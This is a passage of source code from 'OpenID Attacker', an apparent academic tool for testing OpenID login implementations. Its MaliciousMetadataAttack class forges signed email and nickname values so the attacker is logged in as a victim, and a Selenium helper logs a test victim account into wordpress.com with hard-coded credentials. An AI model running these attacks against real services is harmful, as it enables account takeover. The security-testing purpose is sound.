46 | public TrainingWorker(ServiceProvider servideProvider, JProgressBar progressBar, EvaluationResult evaluationResult) {
47 | this.serviceProvider = servideProvider;
48 | this.progressBar = progressBar;
49 | this.evaluationResult = evaluationResult;
50 | }
51 |
52 | @Override
53 | protected Void doInBackground() throws Exception {
54 | StopWatch stopWatch = new StopWatch();
55 | stopWatch.start();
56 |
57 | Training training = new Training(serviceProvider);
58 | ErrorType errors[] = ErrorType.values();
59 |
60 | for (int i = 0; i < numberOfTrainingSamples; i++) {
61 | // Attacker
62 | TrainingResult trainingResult = training.performSuccessfulLogin(User.ATTACKER);
63 | serviceProvider.addAttackerSuccessPageSource(trainingResult.getLoginResult().getPageSource());
64 | serviceProvider.addAttackerSuccessUrl(trainingResult.getLoginResult().getUrlAfterLogin());
65 |
66 | publish(trainingResult);
67 |
68 | if (isCancelled()) {
69 | System.out.println("cancelled");
70 | actuallyFinishedLatch.countDown();
71 | return null;
72 | }
73 |
74 | // Victim
75 | trainingResult = training.performSuccessfulLogin(User.VICTIM);
76 | serviceProvider.addVictimSuccessPageSource(trainingResult.getLoginResult().getPageSource());
77 | serviceProvider.addVictimSuccessUrl(trainingResult.getLoginResult().getUrlAfterLogin());
78 |
79 | publish(trainingResult);
80 |
81 | if (isCancelled()) {
82 | System.out.println("cancelled");
83 | actuallyFinishedLatch.countDown();
84 | return null;
85 | }
86 |
87 | // Error
88 | trainingResult = training.performUnsuccessfulLogin(errors[i]);
89 | serviceProvider.addFailurePageSource(trainingResult.getLoginResult().getPageSource());
90 | serviceProvider.addFailureUrl(trainingResult.getLoginResult().getUrlAfterLogin());
91 |
92 | publish(trainingResult);
93 |
94 | if (isCancelled()) {
95 | System.out.println("cancelled");
96 | actuallyFinishedLatch.countDown();
97 | return null;
98 | }
99 | }
100 |
101 | stopWatch.stop();
102 | evaluationResult.addInvestigationTime(stopWatch.getTime()/1000);
103 |
104 | return null;
105 | }
106 |
107 | @Override
108 | protected void process(List results) {
109 | if (isCancelled()) {
110 | return;
111 | }
112 |
113 | for (TrainingResult result: results) {
114 | progress += progressStep;
115 | progressBar.setValue(progress);
116 |
117 | trainingResults.add(result);
118 | }
119 | }
120 |
121 | public void awaitActualCompletion() throws InterruptedException {
122 | actuallyFinishedLatch.await();
123 | }
124 |
125 | @Override
126 | protected void done() {
127 | if (isCancelled()) {
128 | return;
129 | }
130 |
131 | progressBar.setValue(100);
132 | evaluationResult.addTrainingResults(trainingResults);
133 | }
134 | }
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/discovery/xrds/XrdsConfiguration.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.discovery.xrds;
20 |
21 | import java.io.Serializable;
22 | import wsattacker.sso.openid.attacker.composition.AbstractBean;
23 |
24 | public class XrdsConfiguration extends AbstractBean implements Serializable {
25 |
26 | public static final String PROP_BASEURL = "baseUrl";
27 | public static final String PROP_OPENIDVERSION = "openIdVersion";
28 | public static final String PROP_INCLUDEIDENTITY = "includeIdentity";
29 | public static final String PROP_IDENTITY = "identity";
30 | private String baseUrl = "http://localhost:8080";
31 | private OpenIdVersion openIdVersion = OpenIdVersion.VERSION_20_CLAIMED_IDENTIFIER_ELEMENT;
32 | private boolean includeIdentity = true;
33 | private String identity = "http://my.identity.com";
34 | private int priority = 10;
35 | public static final String PROP_PRIORITY = "priority";
36 | private String xml = "";
37 | public static final String PROP_XML = "xml";
38 |
39 | public XrdsConfiguration() {
40 | updateXml();
41 | }
42 |
43 | /**
44 | * Get the value of xml
45 | *
46 | * @return the value of xml
47 | */
48 | public String getXml() {
49 | return xml;
50 | }
51 |
52 | private void updateXml() {
53 | setXml(XrdsGenerator.generateString(this));
54 | }
55 |
56 | /**
57 | * Set the value of xml
58 | *
59 | * @param xml new value of xml
60 | */
61 | public void setXml(String xml) {
62 | String oldXml = this.xml;
63 | this.xml = xml;
64 | firePropertyChange(PROP_XML, oldXml, xml);
65 | }
66 |
67 | /**
68 | * Get the value of priority
69 | *
70 | * @return the value of priority
71 | */
72 | public int getPriority() {
73 | return priority;
74 | }
75 |
76 | /**
77 | * Set the value of priority
78 | *
79 | * @param priority new value of priority
80 | */
81 | public void setPriority(int priority) {
82 | int oldPriority = this.priority;
83 | this.priority = priority;
84 | firePropertyChange(PROP_PRIORITY, oldPriority, priority);
85 | updateXml();
86 | }
87 |
88 | /**
89 | * Get the value of identity
90 | *
91 | * @return the value of identity
92 | */
93 | public String getIdentity() {
94 | return identity;
95 | }
96 |
97 | /**
98 | * Set the value of identity
99 | *
100 | * @param identity new value of identity
101 | */
102 | public void setIdentity(String identity) {
103 | String oldIdentity = this.identity;
104 | this.identity = identity;
105 | firePropertyChange(PROP_IDENTITY, oldIdentity, identity);
106 | updateXml();
107 | }
108 |
109 | /**
110 | * Get the value of includeIdentity
111 | *
112 | * @return the value of includeIdentity
113 | */
114 | public boolean isIncludeIdentity() {
115 | return includeIdentity;
116 | }
117 |
118 | /**
119 | * Set the value of includeIdentity
120 | *
121 | * @param includeIdentity new value of includeIdentity
122 | */
123 | public void setIncludeIdentity(boolean includeIdentity) {
124 | boolean oldIncludeIdentity = this.includeIdentity;
125 | this.includeIdentity = includeIdentity;
126 | firePropertyChange(PROP_INCLUDEIDENTITY, oldIncludeIdentity, includeIdentity);
127 | updateXml();
128 | }
129 |
130 | /**
131 | * Get the value of baseUrl
132 | *
133 | * @return the value of baseUrl
134 | */
135 | public String getBaseUrl() {
136 | return baseUrl;
137 | }
138 |
139 | /**
140 | * Set the value of baseUrl
141 | *
142 | * @param baseUrl new value of baseUrl
143 | */
144 | public void setBaseUrl(String baseUrl) {
145 | String oldBaseUrl = this.baseUrl;
146 | this.baseUrl = baseUrl;
147 | firePropertyChange(PROP_BASEURL, oldBaseUrl, baseUrl);
148 | updateXml();
149 | }
150 |
151 | /**
152 | * Get the value of openIdVersion
153 | *
154 | * @return the value of openIdVersion
155 | */
156 | public OpenIdVersion getOpenIdVersion() {
157 | return openIdVersion;
158 | }
159 |
160 | /**
161 | * Set the value of openIdVersion
162 | *
163 | * @param openIdVersion new value of openIdVersion
164 | */
165 | public void setOpenIdVersion(OpenIdVersion openIdVersion) {
166 | OpenIdVersion oldOpenIdVersion = this.openIdVersion;
167 | this.openIdVersion = openIdVersion;
168 | firePropertyChange(PROP_OPENIDVERSION, oldOpenIdVersion, openIdVersion);
169 | updateXml();
170 | }
171 | }
172 |
--------------------------------------------------------------------------------
/src/test/java/wsattacker/sso/openid/attacker/attack/AttackParameterHandlerTest.java:
--------------------------------------------------------------------------------
1 | package wsattacker.sso.openid.attacker.attack;
2 |
3 | import java.util.LinkedHashMap;
4 | import java.util.Map;
5 | import static org.hamcrest.Matchers.hasSize;
6 | import static org.hamcrest.Matchers.is;
7 | import static org.junit.Assert.assertThat;
8 | import org.junit.Test;
9 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameter;
10 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameterHandler;
11 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameterKeeper;
12 | import wsattacker.sso.openid.attacker.attack.parameter.utilities.HttpMethod;
13 |
14 | public class AttackParameterHandlerTest {
15 |
16 | public AttackParameterHandlerTest() {
17 | }
18 |
19 | @Test
20 | public void testUpdateValidParameters() {
21 | AttackParameterKeeper keeper = new AttackParameterKeeper();
22 | assertThat(keeper.keySet(), hasSize(0));
23 |
24 | Map addMap = new LinkedHashMap<>();
25 | addMap.put("a", "one");
26 | addMap.put("b", "two");
27 | addMap.put("c", "three");
28 | AttackParameterHandler.updateValidParameters(keeper, addMap);
29 | assertThat(keeper.keySet(), hasSize(3));
30 | assertThat(keeper.getParameter("a").getValidValue(), is("one"));
31 | assertThat(keeper.getParameter("b").getValidValue(), is("two"));
32 | assertThat(keeper.getParameter("c").getValidValue(), is("three"));
33 |
34 | addMap.put("b", "TWO");
35 | addMap.put("d", "four");
36 | AttackParameterHandler.updateValidParameters(keeper, addMap);
37 | assertThat(keeper.keySet(), hasSize(4));
38 | assertThat(keeper.getParameter("a").getValidValue(), is("one"));
39 | assertThat(keeper.getParameter("b").getValidValue(), is("TWO"));
40 | assertThat(keeper.getParameter("c").getValidValue(), is("three"));
41 | assertThat(keeper.getParameter("d").getValidValue(), is("four"));
42 |
43 | keeper.clear();
44 | assertThat(keeper.keySet(), hasSize(0));
45 | }
46 |
47 | @Test
48 | public void testUpdateAttackParameters() {
49 | AttackParameterKeeper keeper = new AttackParameterKeeper();
50 | Map addMap = new LinkedHashMap<>();
51 | addMap.put("a", "one");
52 | addMap.put("b", "two");
53 | addMap.put("c", "three");
54 | AttackParameterHandler.updateValidParameters(keeper, addMap);
55 | for (String name : keeper.keySet()) {
56 | keeper.getParameter(name).setAttackValueUsedForSignatureComputation(true);
57 | }
58 |
59 | Map attackMap = new LinkedHashMap<>();
60 | attackMap.put("a", "atk_a");
61 | attackMap.put("b", "atk_b");
62 | attackMap.put("c", "atk_c");
63 |
64 | AttackParameterHandler.updateAttackParameters(keeper, attackMap);
65 |
66 | Map expectedAttackMap = new LinkedHashMap<>();
67 | expectedAttackMap.put("a", "atk_a");
68 | expectedAttackMap.put("b", "atk_b");
69 | expectedAttackMap.put("c", "atk_c");
70 |
71 |
72 | Map actualAttackMap = AttackParameterHandler.createToSignMap(keeper);
73 | assertThat(actualAttackMap, is(expectedAttackMap));
74 |
75 | attackMap.clear();
76 | attackMap.put("a", "new_atk_a");
77 |
78 | // parameter "a" should not be changed, because only automatic values are changed
79 | AttackParameterHandler.updateAttackParameters(keeper, attackMap);
80 |
81 | AttackParameter a = keeper.getParameter("a");
82 | assertThat(a.getAttackValue(), is("atk_a"));
83 | a.setAttackValueUsedForSignatureComputation(false);
84 | assertThat(a.getAttackValue(), is("new_atk_a"));
85 | }
86 |
87 | @Test
88 | public void testAddOrUpdateParameterValidValue() {
89 | AttackParameterKeeper keeper = new AttackParameterKeeper();
90 | keeper.addOrUpdateParameterValidValue("a", "one");
91 | assertThat(keeper.keySet(), hasSize(1));
92 | assertThat(keeper.getParameter("a").getValidValue(), is("one"));
93 | keeper.addOrUpdateParameterValidValue("a", "ONE");
94 | assertThat(keeper.keySet(), hasSize(1));
95 | assertThat(keeper.getParameter("a").getValidValue(), is("ONE"));
96 | }
97 |
98 | @Test
99 | public void testCreateMapByMethod() {
100 | AttackParameterKeeper keeper = new AttackParameterKeeper();
101 |
102 | AttackParameter a = keeper.addOrUpdateParameterValidValue("a", "one");
103 | a.setAttackValue("atk_one");
104 | a.setValidMethod(HttpMethod.GET);
105 | a.setAttackMethod(HttpMethod.POST);
106 |
107 | AttackParameter b = keeper.addOrUpdateParameterValidValue("b", "two");
108 | b.setAttackValue("atk_two");
109 | b.setValidMethod(HttpMethod.POST);
110 | b.setAttackMethod(HttpMethod.GET);
111 |
112 | AttackParameter c = keeper.addOrUpdateParameterValidValue("c", "three");
113 | c.setAttackValue("atk_three");
114 | c.setValidMethod(HttpMethod.DO_NOT_SEND);
115 | c.setAttackMethod(HttpMethod.DO_NOT_SEND);
116 |
117 | Map expectedMap = new LinkedHashMap<>();
118 | expectedMap.put("a", "one");
119 | expectedMap.put("b", "atk_two");
120 | Map getMap = AttackParameterHandler.createMapByMethod(keeper, HttpMethod.GET, true);
121 | assertThat(getMap, is(expectedMap));
122 |
123 | expectedMap.clear();
124 | expectedMap.put("a", "atk_one");
125 | expectedMap.put("b", "two");
126 | Map postMap = AttackParameterHandler.createMapByMethod(keeper, HttpMethod.POST, true);
127 | assertThat(postMap, is(expectedMap));
128 | }
129 | }
130 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/evaluation/LoginResult.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.evaluation;
20 |
21 | import java.io.File;
22 | import java.io.IOException;
23 | import java.io.Serializable;
24 | import java.text.SimpleDateFormat;
25 | import java.util.Date;
26 | import java.util.List;
27 | import java.util.logging.Level;
28 | import java.util.logging.Logger;
29 | import org.apache.commons.io.FileUtils;
30 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider.User;
31 | import wsattacker.sso.openid.attacker.log.RequestLogEntry;
32 | import wsattacker.sso.openid.attacker.log.RequestType;
33 |
34 | public class LoginResult implements Serializable {
35 | private User authenticatedUser = null;
36 | private final String pageSource;
37 | private List logEntries;
38 | private File screenshot;
39 | private String urlAfterLogin;
40 |
41 | public LoginResult(String pageSource, List logEntries,
42 | File screenshot, String urlAfterLogin) {
43 |
44 | this.pageSource = pageSource;
45 | this.logEntries = logEntries;
46 | this.urlAfterLogin = urlAfterLogin;
47 | System.out.println("URL after login: " + urlAfterLogin);
48 | try {
49 | String filename = new SimpleDateFormat("yyyy-MM-dd_hh-mm-ss'.png'").format(new Date());
50 | File newFile = new File("images/" + filename);
51 | FileUtils.copyFile(screenshot, newFile);
52 | this.screenshot = newFile;
53 | } catch (IOException ex) {
54 | Logger.getLogger(LoginResult.class.getName()).log(Level.SEVERE, null, ex);
55 | }
56 | }
57 |
58 | public void setScreenshot(File screenshot) {
59 | try {
60 | FileUtils.copyFile(screenshot, this.screenshot);
61 | } catch (IOException ex) {
62 | Logger.getLogger(LoginResult.class.getName()).log(Level.SEVERE, null, ex);
63 | }
64 | }
65 |
66 | public ServiceProvider.User getAuthenticatedUser() {
67 | return authenticatedUser;
68 | }
69 |
70 | public void setAuthenticatedUser(User authenticatedUser) {
71 | this.authenticatedUser = authenticatedUser;
72 | }
73 |
74 | public String getPageSource() {
75 | return pageSource;
76 | }
77 |
78 | public List getLogEntries() {
79 | return logEntries;
80 | }
81 |
82 | public void addLogEntriesAtStart(List logEntries) {
83 | this.logEntries.addAll(0, logEntries);
84 | }
85 |
86 | public void addLogEntriesAtEnd(List logEntries) {
87 | this.logEntries.addAll(logEntries);
88 | }
89 |
90 | public void setLogEntries(List logEntries) {
91 | this.logEntries = logEntries;
92 | }
93 |
94 | public RequestLogEntry getLogEntryOfToken() {
95 | RequestLogEntry logEntryOfToken = null;
96 |
97 | for (RequestLogEntry logEntry: logEntries) {
98 | if (logEntry.getType() == RequestType.TOKEN_ATTACK || logEntry.getType() == RequestType.TOKEN_VALID) {
99 | logEntryOfToken = logEntry;
100 | break;
101 | }
102 | }
103 |
104 | return logEntryOfToken;
105 | }
106 |
107 | public boolean hasDirectVerification() {
108 | for (RequestLogEntry logEntry: logEntries) {
109 | if (logEntry.getType() == RequestType.CHECK_AUTHENTICATION) {
110 | return true;
111 | }
112 | }
113 |
114 | return false;
115 | }
116 |
117 | public boolean hasAssociation() {
118 | for (RequestLogEntry logEntry: logEntries) {
119 | if (logEntry.getType() == RequestType.ASSOCIATION) {
120 | return true;
121 | }
122 | }
123 |
124 | return false;
125 | }
126 |
127 | public boolean hasXxe() {
128 | for (RequestLogEntry logEntry: logEntries) {
129 | if (logEntry.getType() == RequestType.XXE) {
130 | return true;
131 | }
132 | }
133 |
134 | return false;
135 | }
136 |
137 | public boolean hasHtmlDiscovery() {
138 | for (RequestLogEntry logEntry: logEntries) {
139 | if (logEntry.getType() == RequestType.HTML) {
140 | return true;
141 | } else if (logEntry.getType() == RequestType.TOKEN_VALID ||
142 | logEntry.getType() == RequestType.TOKEN_ATTACK) {
143 | break;
144 | }
145 | }
146 | return false;
147 | }
148 |
149 | public boolean hasXrdsDiscovery() {
150 | for (RequestLogEntry logEntry: logEntries) {
151 | if (logEntry.getType() == RequestType.XRDS) {
152 | return true;
153 | } else if (logEntry.getType() == RequestType.TOKEN_VALID ||
154 | logEntry.getType() == RequestType.TOKEN_ATTACK) {
155 | break;
156 | }
157 | }
158 | return false;
159 | }
160 |
161 | public File getScreenshot() {
162 | return screenshot;
163 | }
164 |
165 | public String getUrlAfterLogin() {
166 | return urlAfterLogin;
167 | }
168 | }
169 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/evaluation/SeleniumBrowser.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.evaluation;
20 |
21 | import java.awt.GraphicsDevice;
22 | import java.awt.GraphicsEnvironment;
23 | import java.io.File;
24 | import java.io.IOException;
25 | import java.io.InputStream;
26 | import java.util.ArrayList;
27 | import java.util.List;
28 | import java.util.logging.Level;
29 | import java.util.logging.Logger;
30 | import org.apache.commons.io.FileUtils;
31 | import org.openqa.selenium.By;
32 | import org.openqa.selenium.Dimension;
33 | import org.openqa.selenium.JavascriptExecutor;
34 | import org.openqa.selenium.OutputType;
35 | import org.openqa.selenium.Point;
36 | import org.openqa.selenium.TakesScreenshot;
37 | import org.openqa.selenium.WebDriver;
38 | import org.openqa.selenium.WebElement;
39 | import org.openqa.selenium.firefox.FirefoxDriver;
40 | import org.openqa.selenium.firefox.FirefoxProfile;
41 | import wsattacker.sso.openid.attacker.gui.evaluation.EvaluationGui;
42 |
43 | public class SeleniumBrowser {
44 | private static WebDriver INSTANCE;
45 |
46 | private SeleniumBrowser() {
47 |
48 | }
49 |
50 | public static WebDriver getWebDriver() {
51 |
52 | if (INSTANCE == null || hasQuit(INSTANCE) || INSTANCE.getWindowHandles().isEmpty()) {
53 | // create chrome profile
54 | //ChromeOptions options = new ChromeOptions();
55 | //options.addExtensions(new File("adblock.crx"));
56 |
57 | FirefoxProfile profile = new FirefoxProfile();
58 |
59 | // install adblock plus
60 | File tmpFile = new File("adblock.xpi");
61 | try {
62 | InputStream inputStream = SeleniumBrowser.class.getResourceAsStream("/adblock_firefox.xpi");
63 | FileUtils.copyInputStreamToFile(inputStream, tmpFile);
64 | profile.addExtension(tmpFile);
65 | } catch (IOException ex) {
66 | Logger.getLogger(EvaluationGui.class.getName()).log(Level.SEVERE, null, ex);
67 | }
68 |
69 | // disable local and session storage
70 | // some websites (e.g. stackoverflow) use those storages in addition
71 | // to session cookies
72 | profile.setPreference("dom.storage.enabled", false);
73 |
74 | // start new Firefox instance
75 | INSTANCE = new FirefoxDriver(profile);
76 |
77 | // screen size
78 | GraphicsDevice gd = GraphicsEnvironment.getLocalGraphicsEnvironment().getDefaultScreenDevice();
79 | int width = gd.getDisplayMode().getWidth();
80 | int height = gd.getDisplayMode().getHeight();
81 |
82 | width = width > 1440 ? 1440 : width;
83 | height = height > 900 ? 900 : height;
84 |
85 | INSTANCE.manage().window().setPosition(new Point(0,0));
86 | INSTANCE.manage().window().setSize(new Dimension(width, height));
87 |
88 | tmpFile.delete();
89 | }
90 |
91 | return INSTANCE;
92 | }
93 |
94 | private static boolean hasQuit(WebDriver driver) {
95 | try {
96 | driver.getTitle();
97 | return false;
98 | } catch (Exception e) {
99 | return true;
100 | }
101 | }
102 |
103 | public static void quitWebDriver() {
104 | getWebDriver().quit();
105 |
106 | INSTANCE = null;
107 | }
108 |
109 | public static void loginVictimToWordpress() {
110 | WebDriver driver = getWebDriver();
111 |
112 | JavascriptExecutor jse = (JavascriptExecutor)driver;
113 | jse.executeScript("var win = window.open('https://de.wordpress.com/wp-login.php');");
114 |
115 | List windowhandles = new ArrayList<>(driver.getWindowHandles());
116 | driver.switchTo().window(windowhandles.get(1));
117 |
118 | WebElement element = driver.findElement(By.id("user_login"));
119 | element.clear();
120 | element.sendKeys("victim123456789");
121 |
122 | element = driver.findElement(By.id("user_pass"));
123 | element.clear();
124 | element.sendKeys("Victim1234!");
125 |
126 | element.submit();
127 |
128 |
129 | /*windowhandles.forEach((windowHandle) -> {
130 | System.out.println("windowHandle: " + windowHandle);
131 | });*/
132 |
133 | driver.switchTo().window(windowhandles.get(0));
134 | }
135 |
136 | public static File takeScreenshot() {
137 | // take a screenshot
138 | return ((TakesScreenshot)getWebDriver()).getScreenshotAs(OutputType.FILE);
139 |
140 | // construct file name
141 | /*imageNumber++;
142 | String filename = imageNumber + ".png";
143 |
144 | try {
145 | // copy file in pictures folder
146 | FileUtils.copyFile(file, new File(System.getProperty("user.home") + "/Documents/images/" + filename));
147 | } catch (IOException ex) {
148 | Logger.getLogger(ServiceProvider.class.getName()).log(Level.SEVERE, null, ex);
149 | }*/
150 | }
151 |
152 | public static void deleteAllCookies() {
153 | SeleniumBrowser.getWebDriver().manage().deleteAllCookies();
154 | }
155 | }
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/evaluation/attack/MaliciousMetadataAttack.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.evaluation.attack;
20 |
21 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameter;
22 | import wsattacker.sso.openid.attacker.attack.parameter.utilities.HttpMethod;
23 | import wsattacker.sso.openid.attacker.config.OpenIdServerConfiguration;
24 | import wsattacker.sso.openid.attacker.evaluation.LoginResult;
25 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider;
26 | import wsattacker.sso.openid.attacker.evaluation.attack.AttackResult.Interpretation;
27 | import wsattacker.sso.openid.attacker.evaluation.attack.AttackResult.Result;
28 |
29 | public class MaliciousMetadataAttack extends AbstractAttack {
30 |
31 | public MaliciousMetadataAttack(ServiceProvider serviceProvider) {
32 | super(serviceProvider);
33 | }
34 |
35 | @Attack(number = 0)
36 | private AttackResult performEmailAttack() {
37 | // clear all parameters and log in
38 | serverController.getServer().clearParameters();
39 | LoginResult loginResult = serviceProvider.login(ServiceProvider.User.ATTACKER);
40 |
41 |
42 | OpenIdServerConfiguration.getAttackerInstance().setPerformAttack(true);
43 |
44 | String emailParameterName;
45 |
46 | // sreg or ax extension
47 | if (keeper.hasParameter("openid.sreg.email")) {
48 | emailParameterName = "openid.sreg.email";
49 | } else if (keeper.hasParameter("openid.ax.value.email")) {
50 | emailParameterName = "openid.ax.value.email";
51 | } else {
52 | return new AttackResult("SP does not request email.", loginResult, Result.NOT_PERFORMABLE, Interpretation.NEUTRAL);
53 | }
54 |
55 | String victimEmail = OpenIdServerConfiguration.getAnalyzerInstance().getValidUser().getByName("email").getValue();
56 |
57 | AttackParameter opEndpointParameter = keeper.getParameter(emailParameterName);
58 | opEndpointParameter.setAttackValueUsedForSignatureComputation(true);
59 | opEndpointParameter.setValidMethod(HttpMethod.DO_NOT_SEND);
60 | opEndpointParameter.setAttackMethod(HttpMethod.GET);
61 | opEndpointParameter.setAttackValue(victimEmail);
62 |
63 | // include modified parameter in signature
64 | AttackParameter sigParameter = keeper.getParameter("openid.sig");
65 | sigParameter.setValidMethod(HttpMethod.DO_NOT_SEND);
66 | sigParameter.setAttackMethod(HttpMethod.GET);
67 |
68 | loginResult = serviceProvider.login(ServiceProvider.User.ATTACKER);
69 |
70 | boolean success = serviceProvider.determineAuthenticatedUser(loginResult.getPageSource(), loginResult.getUrlAfterLogin()) == ServiceProvider.User.VICTIM;
71 | Result result = success ? Result.SUCCESS : Result.FAILURE;
72 | Interpretation interpretation = success ? Interpretation.CRITICAL : Interpretation.PREVENTED;
73 |
74 | assert isSignatureValid(loginResult) : "Signature is not valid!";
75 |
76 | return new AttackResult("Email", loginResult, result, interpretation);
77 | }
78 |
79 | @Attack(number = 1)
80 | private AttackResult performNicknameAttack() {
81 | // clear all parameters and log in
82 | serverController.getServer().clearParameters();
83 | LoginResult loginResult = serviceProvider.login(ServiceProvider.User.ATTACKER);
84 |
85 | OpenIdServerConfiguration.getAttackerInstance().setPerformAttack(true);
86 |
87 | String nicknameParameterName;
88 |
89 | // sreg or ax extension
90 | if (keeper.hasParameter("openid.sreg.nickname")) {
91 | nicknameParameterName = "openid.sreg.nickname";
92 | } else if (keeper.hasParameter("openid.ax.value.nickname")) {
93 | nicknameParameterName = "openid.ax.value.nickname";
94 | } else {
95 | return new AttackResult("SP does not request nickname.", loginResult, Result.NOT_PERFORMABLE, Interpretation.NEUTRAL);
96 | }
97 |
98 | String victimNickname = OpenIdServerConfiguration.getAnalyzerInstance().getValidUser().getByName("nickname").getValue();
99 |
100 | AttackParameter opEndpointParameter = keeper.getParameter(nicknameParameterName);
101 | opEndpointParameter.setAttackValueUsedForSignatureComputation(true);
102 | opEndpointParameter.setValidMethod(HttpMethod.DO_NOT_SEND);
103 | opEndpointParameter.setAttackMethod(HttpMethod.GET);
104 | opEndpointParameter.setAttackValue(victimNickname);
105 |
106 | // include modified parameter in signature
107 | AttackParameter sigParameter = keeper.getParameter("openid.sig");
108 | sigParameter.setValidMethod(HttpMethod.DO_NOT_SEND);
109 | sigParameter.setAttackMethod(HttpMethod.GET);
110 |
111 | loginResult = serviceProvider.login(ServiceProvider.User.ATTACKER);
112 |
113 | boolean success = serviceProvider.determineAuthenticatedUser(loginResult.getPageSource(), loginResult.getUrlAfterLogin()) == ServiceProvider.User.VICTIM;
114 | Result result = success ? Result.SUCCESS : Result.FAILURE;
115 | Interpretation interpretation = success ? Interpretation.CRITICAL : Interpretation.PREVENTED;
116 |
117 | assert isSignatureValid(loginResult) : "Signature is not valid!";
118 |
119 | return new AttackResult("Nickname", loginResult, result, interpretation);
120 | }
121 | }
122 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/discovery/html/HtmlDiscoveryGenerator.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.discovery.html;
20 |
21 | import org.w3c.dom.Document;
22 | import org.w3c.dom.Element;
23 | import org.w3c.dom.Node;
24 | import wsattacker.sso.openid.attacker.discovery.utilities.DomUtilities;
25 |
26 | final public class HtmlDiscoveryGenerator {
27 |
28 | final static String NEWLINE = System.getProperty("line.separator");
29 |
30 | public static String generateString(HtmlDiscoveryConfiguration config) {
31 | // Document htmlDocument = generateHtmlDocument(config);
32 | // return DomUtilities.domToString(htmlDocument, true);
33 | final String baseUrl = config.getBaseUrl();
34 | final String idenentity = config.getIdentity();
35 | StringBuilder sb = new StringBuilder();
36 | sb.append("").append(NEWLINE);
37 | sb.append(" ").append(NEWLINE);
38 | sb.append(" ");
39 | sb.append(idenentity);
40 | sb.append("").append(NEWLINE);
41 | if (config.isOpenidServer()) {
42 | sb.append(" ").append(NEWLINE);
45 | if (config.isIncludeIdentity()) {
46 | sb.append(" ").append(NEWLINE);
49 | }
50 | }
51 | if (config.isOpenId2Provider()) {
52 | sb.append(" ").append(NEWLINE);
55 | if (config.isIncludeIdentity()) {
56 | sb.append(" ").append(NEWLINE);
59 | }
60 | }
61 | sb.append(" ").append(NEWLINE);
62 | sb.append(" ").append(NEWLINE);
63 | sb.append("
HTML Discovery for:
